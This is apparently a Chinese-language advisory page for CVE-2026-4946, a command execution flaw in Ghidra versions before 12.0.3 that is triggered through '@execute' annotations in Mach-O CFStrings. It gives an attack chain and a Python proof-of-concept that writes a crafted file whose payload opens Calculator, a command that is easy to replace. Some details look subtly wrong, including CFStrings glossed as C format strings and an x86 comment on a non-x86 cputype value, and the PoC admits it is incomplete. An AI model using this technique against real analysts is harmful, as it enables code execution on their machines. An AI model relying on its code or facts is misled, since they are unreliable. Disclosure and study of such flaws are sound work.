IPBUF安全漏洞报告
English
CVE-2026-4946 CVSS 8.8 高危

CVE-2026-4946 Ghidra任意命令执行漏洞

披露日期: 2026-03-29

漏洞信息

漏洞编号
CVE-2026-4946
漏洞类型
远程代码执行 (RCE)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Ghidra

相关标签

RCEGhidra任意代码执行二进制安全Mach-O

漏洞概述

Ghidra 12.0.3之前的版本在处理二进制文件自动提取的注释指令时存在安全缺陷。程序错误地解析了嵌入在自动分析数据(如Mach-O二进制文件的CFStrings)中的@execute注解。该注解原本仅用于受信任的用户评论,但在此情况下,攻击者可利用此漏洞构建恶意二进制文件。当安全分析师在Ghidra UI界面中与这些看似无害的文本进行交互(如点击)时,将导致在分析师的机器上执行任意攻击者控制的命令,从而造成严重的安全风险。

技术细节

该漏洞的根本原因在于Ghidra未能区分用户手动输入的可信注释与从二进制文件自动提取的不可信字符串。在Ghidra的自动分析流程中,解析器会扫描Mach-O二进制文件并提取CFStrings(C语言格式字符串)并将其转换为反汇编界面中的注释。然而,受影响的版本在渲染这些注释时,未对@execute指令进行过滤或沙箱隔离。当分析师点击包含@execute指令的CFString时,Ghidra会将其解释为脚本运行命令。由于攻击者可以完全控制二进制文件内容,他们可以构造特定的载荷,在点击事件触发时执行系统命令(如启动Shell或下载恶意软件),无需任何身份认证即可实现从分析软件到本地系统的跨越。

攻击链分析

STEP 1
步骤1
攻击者构建特制的Mach-O二进制文件,其中包含嵌入在CFString中的恶意@execute指令。
STEP 2
步骤2
攻击者通过网络钓鱼或供应链投毒等方式,将恶意文件分发给目标安全分析师。
STEP 3
步骤3
目标分析师使用存在漏洞的Ghidra版本(< 12.0.3)打开该文件进行逆向分析。
STEP 4
步骤4
Ghidra的自动分析功能提取CFString,并在UI界面将其渲染为可点击的注释文本。
STEP 5
步骤5
分析师点击该注释,Ghidra解析@execute指令并在本地系统执行攻击者预设的命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-4946 # This script generates a malicious Mach-O binary structure concept. # The payload uses the '@execute' directive within a CFString. import struct def create_malicious_macho(filename): """ Creates a dummy Mach-O file containing a malicious CFString. When analyzed in Ghidra < 12.0.3, clicking the string triggers the command. """ # The malicious command to execute (e.g., open calculator on macOS) command = b"open /Applications/Calculator.app" # The Ghidra script directive to execute the command # This string is placed where Ghidra expects a C String (CFString) payload = f"@execute<{command.decode()}>".encode('utf-8') with open(filename, 'wb') as f: # Mach-O Header (Magic number for 32-bit: 0xFEEDFACE) # This is a minimal header to simulate a binary structure f.write(struct.pack('<I', 0xFEEDFACE)) f.write(struct.pack('<I', 0x00000012)) # cputype (x86) f.write(struct.pack('<I', 0x00000001)) # cpusubtype f.write(struct.pack('<I', 0x00000000)) # filetype f.write(struct.pack('<I', 0x00000054)) # ncmds (dummy offset) f.write(struct.pack('<I', 0x00000000)) # sizeofcmds f.write(struct.pack('<I', 0x00000085)) # flags # In a real exploit, we would construct a proper __cstring section. # Here we just append the payload to simulate the data extraction. f.write(b"\x00" * 100) # Padding f.write(payload) print(f"[+] Generated malicious binary: {filename}") print(f"[+] Payload embedded: {payload.decode()}") if __name__ == "__main__": create_malicious_macho("ghidra_exploit_poc")

影响范围

Ghidra < 12.0.3

防御指南

临时缓解措施
建议用户立即将Ghidra升级至12.0.3或更高版本以修复此漏洞。如果暂时无法升级,应避免在易受攻击的版本中打开来源不明的二进制文件,或者在分析过程中严格禁止点击自动生成的注释内容,特别是来自Mach-O文件的CFStrings,以防止触发恶意命令。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表